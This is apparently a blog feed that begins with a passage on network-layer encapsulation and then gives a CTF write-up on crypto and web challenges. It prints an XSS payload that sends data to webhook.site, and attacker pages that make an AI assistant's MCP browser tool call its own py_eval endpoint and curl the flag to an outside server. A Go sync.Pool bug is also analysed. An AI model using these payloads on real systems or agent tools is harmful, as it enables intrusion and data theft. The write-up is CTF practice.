id="4-2-UDP-适合"><a href="#4-2-UDP-适合" class="headerlink" title="4.2 UDP 适合"></a>4.2 UDP 适合</h3><p>对<strong>实时性要求高</strong>、少量丢包可以接受的场景：</p><ul><li><strong>DNS</strong>：查询短小，一来一回，不需要连接开销</li><li><strong>视频直播&#x2F;音视频通话</strong>：丢几帧比卡顿更能接受（WebRTC 基于 UDP）</li><li><strong>在线游戏</strong>：位置同步，旧数据丢了没关系，要的是最新状态</li><li><strong>DHCP</strong>：获取 IP 地址，广播场景</li><li><strong>QUIC（HTTP&#x2F;3）</strong>：Google 设计的基于 UDP 的传输协议，在应用层自己实现可靠性，避免 TCP 的队头阻塞</li></ul><h1 id="HTTP-报文的封装与解封装"><a href="#HTTP-报文的封装与解封装" class="headerlink" title="HTTP 报文的封装与解封装"></a>HTTP 报文的封装与解封装</h1><p>以一段真实封装来理解</p><h3 id="第一阶段：应用层-Application-Layer-——-原始字节流的诞生"><a href="#第一阶段：应用层-Application-Layer-——-原始字节流的诞生" class="headerlink" title="第一阶段：应用层 (Application Layer) —— 原始字节流的诞生"></a>第一阶段：应用层 (Application Layer) —— 原始字节流的诞生</h3><p>根据 HTTP&#x2F;1.1 规范，在内存中分配了一块缓冲区，构造出了一段纯文本格式的字节流。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">GET /index.html HTTP/1.1\r\n</span><br><span class="line">Host: www.example.com\r\n</span><br><span class="line">User-Agent: Mozilla/5.0\r\n</span><br><span class="line">Accept: text/html\r\n</span><br><span class="line">Connection: keep-alive\r\n</span><br><span class="line">\r\n</span><br></pre></td></tr></table></figure><p>此时，这段数据没有任何寻址能力。浏览器通过触发系统调用（如 <code>send()</code> 或 <code>write()</code>），将这段字节流拷贝到操作系统**内核态（Kernel Space）**的 Socket 发送缓冲区中。应用层的工作到此结束。</p><h3 id="第二阶段：传输层-Transport-Layer-——-端口注入与可靠性序列化"><a href="#第二阶段：传输层-Transport-Layer-——-端口注入与可靠性序列化" class="headerlink" title="第二阶段：传输层 (Transport Layer) —— 端口注入与可靠性序列化"></a>第二阶段：传输层 (Transport Layer) —— 端口注入与可靠性序列化</h3><p>内核的 TCP 协议栈接管了这段数据（Payload）。 如果 Payload 大于 <strong>MSS（最大报文段长度，通常为 1460 字节）</strong>，TCP 会将其切割。随后，TCP 为数据块强制注入 <strong>20 字节</strong>的 TCP 首部。</p><p><strong>TCP Header 核心注入字段：</strong></p><ul><li><p><code>Source Port: 54321</code> | <code>Destination Port: 80</code> （定义端到端的进程寻址）</p></li><li><p><code>Sequence Number: 1000</code> （当前报文段在整个字节流中的绝对偏移量编号）</p></li><li><p><code>Acknowledgment Number: 1</code> （全双工通信中，期望对方回复的下一个编号）</p></li><li><p><code>Flags: ACK=1, PSH=1</code> （PSH 标志位指令接收方内核：收到此包后立即推入应用层，禁止在缓冲区延迟等待）</p></li></ul><p><strong>当前 PDU 形态：TCP 报文段 (Segment)</strong> <em>结构：<code>[TCP Header (20B)] + [HTTP Payload]</code></em></p><h3 id="第三阶段：网络层-Network-Layer-——-全局路由寻址注入"><a href="#第三阶段：网络层-Network-Layer-——-全局路由寻址注入" class="headerlink" title="第三阶段：网络层 (Network Layer) —— 全局路由寻址注入"></a>第三阶段：网络层 (Network Layer) —— 全局路由寻址注入</h3><p>TCP 模块将 Segment 移交给 IP 模块。IP 模块并不关心里面装的是 HTTP 还是 FTP，它的唯一任务是为数据包注入全局路由逻辑。IP 模块在前方注入 <strong>20 字节</strong>的 IPv4 首部。</p><p><strong>IP Header 核心注入字段：</strong></p><ul><li><p><code>Source IP: 192.168.1.100</code> | <code>Destination IP: 93.184.216.34</code></p></li><li><p><code>TTL: 64</code> （生存时间，防止路由环路，每经过一个三层设备减 1）</p></li><li><p><strong><code>Protocol: 6</code></strong> （<strong>多路复用标识！</strong> 6 代表上层载荷是 TCP 协议。这为接收方的解封装提供了唯一的指路明灯）</p></li></ul><p><strong>当前 PDU 形态：IP 数据报 (Packet &#x2F; Datagram)</strong> <em>结构：<code>[IP Header (20B)] + [TCP Header] + [HTTP Payload]</code></em></p><h3 id="第四阶段：数据链路层-Data-Link-Layer-——-物理介质精确寻址"><a href="#第四阶段：数据链路层-Data-Link-Layer-——-物理介质精确寻址" class="headerlink" title="第四阶段：数据链路层 (Data Link Layer) —— 物理介质精确寻址"></a>第四阶段：数据链路层 (Data Link Layer) —— 物理介质精确寻址</h3><p>IP 数据报被送入网卡驱动程序。在局域网以太网标准下，驱动程序需要确定<strong>下一跳的物理 MAC 地址</strong>。</p><ol><li><p>驱动检查目的 IP <code>93.184.216.34</code>，发现不在 <code>192.168.1.0/24</code> 子网内。</p></li><li><p>查找路由表，确定下一跳为默认网关 <code>192.168.1.1</code>。</p></li><li><p>查询本机 ARP 缓存表，获取网关的 MAC 地址 <code>11:22:33:44:55:66</code>。</p></li></ol><p>驱动程序在前方注入 <strong>14 字节</strong>的以太网帧头，在尾部追加 <strong>4 字节</strong>的 FCS（帧检验序列）。</p><p><strong>Ethernet II Header 核心注入字段：</strong></p><ul><li><p><code>Destination MAC: 11:22:33:44:55:66</code> （<strong>注意：这里绝不是目标服务器的 MAC！而是网关的 MAC</strong>）</p></li><li><p><code>Source MAC: AA:BB:CC:DD:EE:FF</code></p></li><li><p><strong><code>EtherType: 0x0800</code></strong> （<strong>多路复用标识！</strong> 告知接收方硬件，该帧内部封装的是 IPv4 报文）</p></li></ul><p><strong>当前 PDU 形态：以太网帧 (Frame)</strong> <em>结构：<code>[Eth Header (14B)] + [IP Header] + [TCP Header] + [HTTP Payload] + [FCS (4B)]</code></em></p><h3 id="第五阶段：物理层-Physical-Layer-——-模数转换与发送"><a href="#第五阶段：物理层-Physical-Layer-——-模数转换与发送" class="headerlink" title="第五阶段：物理层 (Physical Layer) —— 模数转换与发送"></a>第五阶段：物理层 (Physical Layer) —— 模数转换与发送</h3><p>网卡（NIC）硬件通过 DMA（直接内存访问）技术将内核中的 Frame 拷贝到网卡显存，将其转化为电平差分信号或光信号，以 <code>010101</code> 比特流的形式压入传输介质。</p><p><strong>路由中转</strong></p><ul><li><p><strong>入站拆帧</strong>：路由器接收物理电信号还原为帧。校验 FCS 通过后，<strong>直接剥弃原来的以太网帧头与帧尾</strong>，露出 IP 数据报。</p></li><li><p><strong>网络层决断</strong>：读取 IP 头部的目的 IP <code>93.184.216.34</code>。在路由表中利用<strong>最长前缀匹配</strong>算法查找到下一跳路由器的 IP 及出口网卡。</p></li><li><p><strong>处理 TTL 与 Checksum</strong>：将 IP 头的 TTL 减 1。由于 TTL 改变，必须重新计算 IP 首部校验和。<em>(如果在我们的设定中，该路由器是家用的 NAT 网关，它还会在这里将源 IP 替换为公网 IP <code>203.0.113.10</code>)</em>。</p></li><li><p><strong>出站重装帧</strong>：路由器通过出口网卡的 ARP 表查到下一跳路由器的 MAC 地址。<strong>生成一个全新的以太网帧头</strong>（源 MAC 变为本路由器的出口 MAC，目的 MAC 变为下一跳路由器 MAC），再次发送。</p></li></ul><p>数据到达目标服务器后，按照与封装完全<strong>相反</strong>的顺序，每一层剥掉自己的头部，把数据交给上层：</p><p>物理层：接收信号，还原比特流</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">物理介质上的电信号/光信号</span><br><span class="line">      ↓</span><br><span class="line">转换为数字比特流：01010011010010101...</span><br><span class="line">      ↓</span><br><span class="line">交给数据链路层</span><br></pre></td></tr></table></figure><p>数据链路层：解析以太网帧</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line">收到比特流，按以太网帧格式解析</span><br><span class="line">      ↓</span><br><span class="line">检查目的MAC是否是本机网卡MAC（FF:EE:DD:CC:BB:AA）</span><br><span class="line">→ 是，继续处理；不是则直接丢弃</span><br><span class="line">      ↓</span><br><span class="line">用FCS校验帧完整性</span><br><span class="line">→ 校验通过；失败则丢弃，不通知发送方（TCP层负责重传）</span><br><span class="line">      ↓</span><br><span class="line">读取类型字段：0x0800 → 数据部分是IPv4数据包</span><br><span class="line">剥掉帧头部和FCS</span><br><span class="line">      ↓</span><br><span class="line">把IP数据包交给网络层</span><br></pre></td></tr></table></figure><p>网络层：解析 IP 数据包</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line">收到IP数据包，解析IP首部</span><br><span class="line">      ↓</span><br><span class="line">检查版本：IPv4</span><br><span class="line">检查目的IP：93.184.216.34 → 是本机IP，继续</span><br><span class="line">检查TTL：若为0则丢弃并发送ICMP超时消息，否则继续</span><br><span class="line">验证IP首部校验和</span><br><span class="line">      ↓</span><br><span class="line">读取协议字段：6 → 数据部分是TCP报文段</span><br><span class="line">如果IP数据包经过分片，在此重组（根据标识符、片偏移字段）</span><br><span class="line">剥掉IP首部</span><br><span class="line">      ↓</span><br><span class="line">把TCP报文段交给传输层</span><br></pre></td></tr></table></figure><p>传输层：解析 TCP 报文段</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line">收到TCP报文段，解析TCP首部</span><br><span class="line">      ↓</span><br><span class="line">读取目的端口：80 → 交给监听80端口的进程（Web服务器）</span><br><span class="line">验证TCP校验和</span><br><span class="line">      ↓</span><br><span class="line">检查序列号Seq：确认数据顺序是否正确</span><br><span class="line">→ 如果乱序，暂存等待缺失的报文段到齐后再按序交给上层</span><br><span class="line">→ 如果有缺失，发送重复ACK请求重传</span><br><span class="line">      ↓</span><br><span class="line">发送ACK确认（Ack = 收到的Seq + 数据长度）</span><br><span class="line">更新接收窗口</span><br><span class="line">剥掉TCP首部</span><br><span class="line">      ↓</span><br><span class="line">把数据（HTTP报文）交给应用层</span><br></pre></td></tr></table></figure><p>应用层：解析 HTTP 报文</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line">收到HTTP报文数据</span><br><span class="line">      ↓</span><br><span class="line">Web服务器（如Nginx/Apache）解析HTTP格式：</span><br><span class="line">  读取请求行：GET /index.html HTTP/1.1</span><br><span class="line">  读取请求头：Host、User-Agent、Accept...</span><br><span class="line">  读取请求体（GET请求为空）</span><br><span class="line">      ↓</span><br><span class="line">根据请求处理业务逻辑：</span><br><span class="line">  查找 /index.html 文件</span><br><span class="line">  或调用后端程序生成动态内容</span><br><span class="line">      ↓</span><br><span class="line">构造HTTP响应报文（然后再次从上往下封装，发回给客户端）</span><br></pre></td></tr></table></figure><p>七、完整流程总览</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line">应用层    HTTP报文</span><br><span class="line">           ↓ +TCP头</span><br><span class="line">传输层    [TCP头 | HTTP报文]</span><br><span class="line">           ↓ +IP头</span><br><span class="line">网络层    [IP头 | TCP头 | HTTP报文]</span><br><span class="line">           ↓ +以太网帧头+FCS</span><br><span class="line">链路层    [帧头 | IP头 | TCP头 | HTTP报文 | FCS]</span><br><span class="line">           ↓ 转换为信号</span><br><span class="line">物理层    ~~~~~~~~~~ 比特流 ~~~~~~~~~~</span><br><span class="line">                       ↓ 经过多个路由器（每跳重新封装链路层帧，IP层TTL-1）</span><br><span class="line">物理层    ~~~~~~~~~~ 比特流 ~~~~~~~~~~</span><br><span class="line">           ↓ 还原为帧</span><br><span class="line">链路层    [帧头 | IP头 | TCP头 | HTTP报文 | FCS]</span><br><span class="line">           ↓ 剥帧头+FCS</span><br><span class="line">网络层    [IP头 | TCP头 | HTTP报文]</span><br><span class="line">           ↓ 剥IP头</span><br><span class="line">传输层    [TCP头 | HTTP报文]</span><br><span class="line">           ↓ 剥TCP头，排序重组</span><br><span class="line">应用层    HTTP报文</span><br></pre></td></tr></table></figure><p>最后这里加深印象 我自己讲一遍当我输入一个域名在浏览器中去请求服务时 宏观架构与微观协议做了什么<br>以x为例 x.com 浏览器发现没有协议头 查询本地的 HSTS表 如果有的话浏览器就强制改写为https协议 然后浏览器会查询自身dns缓存 看看能否直接找到ip 不行的话 会去找操作系统的 DNS 缓存 都不行的话 则需要关联上UDP 去查找ip DNS通过快速递归去找到ip 这时候目标清晰了 则开始到了协议的部分<br>传输层的TCP链路 TLS加密通道 需要在三次握手 密码学握手后建立<br>这时候应用层封装 TLS加密 进到TCP模块传输层 IP模块网络层 链路层 依次打上加密 端口 ip MAC 通过路由器多次转送数据 到达x的网关 依次剥离验证 TLS终结 得到明文 在x内获得服务 </p>]]>
    </content>
    <id>http://47.109.24.42/2026/03/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/</id>
    <link href="http://47.109.24.42/2026/03/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/"/>
    <published>2026-03-02T12:00:00.000Z</published>
    <summary>
      <![CDATA[<h1 id="网络世界的坐标系-MAC地址与IP地址"><a href="#网络世界的坐标系-MAC地址与IP地址" class="headerlink" title="网络世界的坐标系 MAC地址与IP地址"></a>网络世界的坐标系 MAC地址与IP地址</h1><h2 i]]>
    </summary>
    <title>计算机网络</title>
    <updated>2026-03-02T12:00:00.000Z</updated>
  </entry>
  <entry>
    <author>
      <name>xiexie</name>
    </author>
    <category term="比赛" scheme="http://47.109.24.42/categories/%E6%AF%94%E8%B5%9B/"/>
    <category term="学习task" scheme="http://47.109.24.42/tags/%E5%AD%A6%E4%B9%A0task/"/>
    <category term="比赛复现" scheme="http://47.109.24.42/tags/%E6%AF%94%E8%B5%9B%E5%A4%8D%E7%8E%B0/"/>
    <content>
      <![CDATA[<ol><li>web 魔法书<br>根据提示 抓包改阅读时间 得到弹窗</li><li>密码 Classic<br>最后一行密文<br><code>VUHHX{Tti Julxmzooz sm zhq Rlc azh ane Apk}</code><br>然后明文VIDAR</li></ol><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">计算偏移量：</span><br><span class="line">- V -&gt; V: 偏移 0 (A)</span><br><span class="line">- U -&gt; I: 偏移 12 (M) (U=20, I=8, 20-12=8)</span><br><span class="line">- H -&gt; D: 偏移 4 (E) (H=7, D=3, 7-4=3)</span><br><span class="line">- H -&gt; A: 偏移 7 (H) (H=7, A=0, 7-0=7)</span><br><span class="line">- X -&gt; R: 偏移 6 (G) (X=23, R=17, 23-6=17)</span><br></pre></td></tr></table></figure><ul><li><strong>密文</strong>: <code>Tti Julxmzooz sm zhq Rlc azh ane Apk</code></li><li><strong>密钥</strong>: <code>AME HGAMEHGAM EH GAM EHG AME HGA MEH</code></li><li><code>Tti</code> (Key: AME) -&gt; <strong>The</strong></li><li><code>Julxmzooz</code> (Key: HGAMEHG…) -&gt; <strong>Collision</strong></li><li><code>sm</code> (Key: EH) -&gt; <strong>of</strong></li><li><code>zhq</code> (Key: GAM) -&gt; <strong>the</strong></li><li><code>Rlc</code> (Key: EHG) -&gt; <strong>New</strong></li><li><code>azh</code> (Key: AME) -&gt; <strong>and</strong></li><li><code>ane</code> (Key: HGA) -&gt; <strong>the</strong></li><li><code>Apk</code> (Key: MEH) -&gt; <strong>Old</strong><br>直接用减法去减<br>以为要加下划线 服了 试了好久 原来直接拼上就可以了</li></ul><ol start="3"><li>密码 Flux<br>ai梭的 解答过程如下<br><strong>第一步：攻破 QCG 生成器</strong><ul><li><p>利用题目给出的 4 个连续随机数 $x_1, x_2, x_3, x_4$，构建方程组。</p></li><li><p>通过消元法解线性方程组，成功恢复了 QCG 的参数：</p><ul><li><p>$a &#x3D; 36792…$</p></li><li><p>$b &#x3D; 57247…$</p></li><li><p>$c &#x3D; 51112…$</p></li></ul></li></ul></li></ol><p> <strong>第二步：回溯初始状态 (h)</strong></p><pre><code>- 已知 $x_1 = (a \cdot h^2 + b \cdot h + c) \pmod n$。    - 这是一个关于 $h$ 的一元二次方程。使用 **Tonelli-Shanks 算法** 求模平方根，得到了两个可能的 $h$ 值。    </code></pre><p><strong>第三步：逆向 shash (逐位攻击)</strong><br>    - 这是最精彩的一步。通常这类问题会用 Z3 Solver，但我发现由于运算包含 <code>+</code> (乘法) 和 <code>^</code> (异或)，且是从低位向高位传播，低位的输出结果只取决于低位的 Key。<br>    - 因此，我不需要暴力穷举 $2^{70}$，而是<strong>一位一位地猜</strong>。<br>    - 从第 0 位开始，猜 Key 的第 0 位是 0 还是 1，验证输出的第 0 位是否匹配 $h$。匹配上了就继续猜第 1 位……<br>    - 最终成功对其中一个 $h$ 值恢复出了 Key：<code>860533</code></p><ol start="4"><li>web 博丽神社的绘马挂<br><img src="/images/66.png"><br>前端有一些路由泄露<br>祈福看看<br><img src="/images/67.png"><br>找到个xss漏洞<br>验证了一下 无需闭合 最简单的即可触发 可能有些过滤 但是没管了<br><code>&lt;img src=x onerror=alert(1)&gt;</code><br>试试外带 可以外带出去 但是偷不到cookie 可能是过滤了 也或者是根本就不在这里<br>自动带上 Bot 的 Cookie 这个接口是前端泄露的</li></ol><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&lt;img src=x onerror=\&quot;fetch(&#x27;/api/archives&#x27;).then(res=&gt;res.text()).then(t=&gt;fetch(&#x27;https://webhook.site/73296464-c885-4e1b-ab7e-a8e533ddf8be/?m=&#x27;+btoa(t))) \&quot;&gt;</span><br></pre></td></tr></table></figure><p>收到后解码<br><img src="/images/74.png"><br>5. web My Little Assistant我觉得非常有意思 考点也很新奇的一道题 是mcp呢<br><img src="/images/68.png"><br>最开始以为像极客那样 可以自己写入mcp工具 然后去读本地文件 不行 然后以为可以用它执行代码的mcp服务器去读本地文件<br><img src="/images/69.png"><br>才发现完全用不了<br>（最开始以为是自己代码里面有被过滤的 往沙箱逃逸那方面去想了）后面发现就是完全用不了<br>然后去看看附件</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">async def py_eval(code: str):</span><br><span class="line">    try:</span><br><span class="line">        local_vars = &#123;&#125;</span><br><span class="line">        exec(code, &#123;&#125;, local_vars)</span><br><span class="line">        return &#123;&quot;result&quot;: str(local_vars), &quot;status&quot;: &quot;success&quot;&#125;</span><br><span class="line">    except Exception as e:</span><br><span class="line">        return &#123;&quot;error&quot;: str(e), &quot;status&quot;: &quot;failed&quot;&#125;</span><br></pre></td></tr></table></figure><p>再看这个py_request</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">browser = await p.chromium.launch(</span><br><span class="line">    headless=True, </span><br><span class="line">    args=[&quot;--no-sandbox&quot;, &quot;--disable-dev-shm-usage&quot;, &quot;--disable-web-security&quot;]</span><br><span class="line">)</span><br></pre></td></tr></table></figure><p>它开启了 <code>--disable-web-security</code>，这意味着 <strong>CORS（跨域策略）被禁用了</strong><br>让 AI 用 <code>py_request</code> 去访问一个<strong>我们控制的网页</strong> 这个网页里包含一段 JavaScript 代码，这段 JS 会在 <strong>AI 的浏览器里执行</strong>，向 <strong>AI 本地的 8001 端口</strong> 发送一个 POST 请求，假装是 AI 自己在调用 <code>py_eval</code> 那么自己在服务器去搞个文件</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br></pre></td><td class="code"><pre><span class="line">&lt;!DOCTYPE html&gt;</span><br><span class="line">&lt;html&gt;</span><br><span class="line">&lt;body&gt;</span><br><span class="line">    &lt;h1&gt;Stealing Flag...&lt;/h1&gt;</span><br><span class="line">    &lt;script&gt;</span><br><span class="line">        // 1. 构造 Payload：直接用 curl 把 flag 发给你的 2333 端口</span><br><span class="line">        const pythonPayload = &quot;import os; os.popen(&#x27;curl http://47.109.24.42:2333/$(cat /flag*)&#x27;)&quot;;</span><br><span class="line"></span><br><span class="line">        // 2. 发送请求给本地 API</span><br><span class="line">        const apiData = &#123;</span><br><span class="line">            &quot;jsonrpc&quot;: &quot;2.0&quot;, &quot;id&quot;: 1,</span><br><span class="line">            &quot;params&quot;: &#123;</span><br><span class="line">                &quot;name&quot;: &quot;py_eval&quot;,</span><br><span class="line">                &quot;arguments&quot;: &#123; &quot;code&quot;: pythonPayload &#125;</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;;</span><br><span class="line"></span><br><span class="line">        fetch(&quot;http://127.0.0.1:8001/mcp&quot;, &#123;</span><br><span class="line">            method: &quot;POST&quot;,</span><br><span class="line">            headers: &#123; &quot;Content-Type&quot;: &quot;application/json&quot; &#125;,</span><br><span class="line">            body: JSON.stringify(apiData)</span><br><span class="line">        &#125;);</span><br><span class="line">    &lt;/script&gt;</span><br><span class="line">&lt;/body&gt;</span><br><span class="line">&lt;/html&gt;</span><br></pre></td></tr></table></figure><p>这段代码在<strong>服务器的浏览器里</strong>执行了<br>向 <code>http://127.0.0.1:8001/mcp</code> 发送一个 POST 请求，执行 <code>cat /flag</code><br>请求是从<strong>服务器内部的浏览器</strong>发出的，目标又是 <code>127.0.0.1</code> (服务器自己) 这里是直接发给我服务器（因为我怕长度限制影响了 有点麻烦）<br>其实最开始这个也可以了 </p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br></pre></td><td class="code"><pre><span class="line">&lt;!DOCTYPE html&gt;</span><br><span class="line">&lt;html&gt;</span><br><span class="line">&lt;head&gt;</span><br><span class="line">    &lt;meta charset=&quot;utf-8&quot;&gt;</span><br><span class="line">    &lt;title&gt;Attack&lt;/title&gt;</span><br><span class="line">&lt;/head&gt;</span><br><span class="line">&lt;body&gt;</span><br><span class="line">    &lt;h1&gt;...&lt;/h1&gt;</span><br><span class="line">    &lt;div id=&quot;result&quot;&gt;Waiting for flag...&lt;/div&gt;</span><br><span class="line">    &lt;script&gt;</span><br><span class="line">        // 1. 构造要执行的 Python Payload</span><br><span class="line">        // 这里的逻辑是：读取根目录下的 /flag 文件（如果不确定文件名，可以用 &#x27;ls /&#x27; 先看一眼）</span><br><span class="line">        const pythonPayload = &quot;import os; flag = os.popen(&#x27;cat /flag*&#x27;).read()&quot;;</span><br><span class="line"></span><br><span class="line">        // 2. 构造发给 MCP API 的数据包</span><br><span class="line">        const apiData = &#123;</span><br><span class="line">            &quot;jsonrpc&quot;: &quot;2.0&quot;,</span><br><span class="line">            &quot;id&quot;: 1,</span><br><span class="line">            &quot;params&quot;: &#123;</span><br><span class="line">                &quot;name&quot;: &quot;py_eval&quot;,   // 绕过聊天框，直接调用后端的 py_eval</span><br><span class="line">                &quot;arguments&quot;: &#123;</span><br><span class="line">                    &quot;code&quot;: pythonPayload</span><br><span class="line">                &#125;</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;;</span><br><span class="line"></span><br><span class="line">        // 3. 让 Bot 的浏览器向它自己的本地接口 (127.0.0.1:8001) 发送请求</span><br><span class="line">        fetch(&quot;http://127.0.0.1:8001/mcp&quot;, &#123;</span><br><span class="line">            method: &quot;POST&quot;,</span><br><span class="line">            headers: &#123; &quot;Content-Type&quot;: &quot;application/json&quot; &#125;,</span><br><span class="line">            body: JSON.stringify(apiData)</span><br><span class="line">        &#125;)</span><br><span class="line">        .then(res =&gt; res.json())</span><br><span class="line">        .then(data =&gt; &#123;</span><br><span class="line">            document.getElementById(&quot;result&quot;).innerText = JSON.stringify(data);</span><br><span class="line">        &#125;)</span><br><span class="line">        .catch(err =&gt; &#123;</span><br><span class="line">            document.getElementById(&quot;result&quot;).innerText = &quot;Error: &quot; + err;</span><br><span class="line">        &#125;);</span><br><span class="line">    &lt;/script&gt;</span><br><span class="line">&lt;/body&gt;</span><br><span class="line">&lt;/html&gt;</span><br></pre></td></tr></table></figure><p><img src="/images/71.png"><br>得不完 前面没用到的前端 还有这个ls删掉就完了<br>下面是我用发服务器方法搞得<br><img src="/images/79.png"><br>6. web MyMonitor<br><code>sync.Pool</code><br>在 Go 语言高并发场景下，频繁创建和销毁对象（比如每次请求都 <code>new</code> 一个结构体）会给垃圾回收（GC）带来巨大压力<br>sync.Pool 可以看做成一个公共借用池<br>Get(): 需要用对象时，去池子里拿一个。如果池子是空的，就新建一个。<br>Put(): 用完了，把对象放回池子里，供下一个人使用。<br><code>handler.go</code> 中的 <code>UserCmd</code> 函数</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line">func UserCmd(c *gin.Context) &#123;</span><br><span class="line">    // [1] 从池子里借出一个对象</span><br><span class="line">    monitor := MonitorPool.Get().(*MonitorStruct)</span><br><span class="line">    </span><br><span class="line">    // [2] 这是一个 defer，函数结束前一定会执行：把对象放回池子</span><br><span class="line">    defer MonitorPool.Put(monitor)</span><br><span class="line"></span><br><span class="line">    // [3] 绑定 JSON 数据：把用户发的 JSON 填入 monitor 对象</span><br><span class="line">    if err := c.ShouldBindJSON(monitor); err != nil &#123;</span><br><span class="line">        // [!] 漏洞点在这里！</span><br><span class="line">        // 如果绑定报错（比如缺了必填字段），直接 return</span><br><span class="line">        c.JSON(400, gin.H&#123;&quot;error&quot;: err.Error()&#125;)</span><br><span class="line">        return </span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    // ...</span><br><span class="line">    // [4] 负责清理对象的 reset，定义在 return 之后</span><br><span class="line">    defer monitor.reset()</span><br><span class="line">    // ...</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>Go 的 JSON 解析器会<strong>一边解析一边赋值</strong>。它先把 <code>monitor.Args</code> 赋值为 <code>&quot;填进去的东西&quot;</code>，然后检查 <code>cmd</code> 字段发现缺失，这才报错 <code>err != nil</code>。<br>此时，<code>monitor</code> 对象变成了：<code>{Cmd: &quot;&quot;, Args: &quot;恶意代码&quot;}</code><br>一个带着恶意 <code>Args</code> 数据的“脏对象”被放回了池子里！<br>看 <code>AdminCmd</code> 的代码：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span 